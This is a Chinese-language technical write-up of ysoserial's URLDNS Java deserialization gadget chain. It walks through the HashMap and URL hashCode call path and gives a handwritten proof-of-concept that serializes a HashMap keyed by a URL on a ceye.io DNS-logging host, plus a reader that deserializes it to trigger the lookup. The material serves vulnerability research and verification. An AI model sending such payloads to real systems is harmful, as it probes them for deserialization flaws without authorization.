ysoserial-URLDNS链分析
URLDNS是ysoserial里面的一条利用链,但URLDNS的利用效果是只能触发一次DNS请求,而不能去执行命令,比较适用于漏洞验证这一块。而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。
1、环境部署:
IDEA
ysoserial源码:https://github.com/frohoff/ysoserial
2、使用方法:
将源码打包成jar包后运行
ysoserial 工具是生成序列化的数据用于反序列化利用,而此处将序列化数据写入1.txt文件中
接着反序列化读取
执行成功
3、来看一下URLDNS的调用链:
4、调用链如上图所示,如下跟进代码,hashmap中的putval方法中对反序列化得到的key进行了hash运算
如果key不为空则调用key.hashcode方法
如果hashCode为-1且key为URL类的对象,就会调用SilentURLStreamHandler类的hashCode方法,而SilentURLStreamHandler类是URLStreamHandler抽象类的子类
从而触发dns解析
为了进一步理解payloads.URLDNS生成poc的代码,跟进getHostAddress方法,可以看到如果u.hostAddress不为null即会发起DNS请求,所以在序列化的时候重写getHostAddress方法就不会执行到InetAddress.getByName(host),这样生成poc的时候就只有在反序列化的时候才发起一次DNS请求
3、那么手写exp如下:
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
//首先要实例化一个hashmap对象,并初始化一个URL对象,反射获取URL.hashCode属性
HashMap obj = new HashMap();
URL url = new URL("http://2zbbmh.ceye.io");
Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
//修改访问权限
field.setAccessible(true);
//设置hashCode值为任何不为-1的数字,为了不在序列化时触发
field.set(url,111);
//将URL对象设置为key放入hashmap对象中
obj.put(url,"yoyodan");
//将url的hashCode重新设置为-1。确保在反序列化时能够成功触发
field.set(url,-1);
try{
FileOutputStream fileOutputStream = new FileOutputStream(System.getProperty("user.dir")+"/src/main/java/urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(obj);
outputStream.close();
fileOutputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
反序列化读取:
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class ReadObj {
public static void main(String[] args) throws Exception {
ObjectInputStream o = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir")+"/src/main/java/urldns.ser"));
o.readObject();
System.out.println(o);
}
}
执行成功
至于payloads.URLDNS生成poc的代码在此就不再分析,同样的原理并且源码里都有英文注释可供理解,分析到此结束。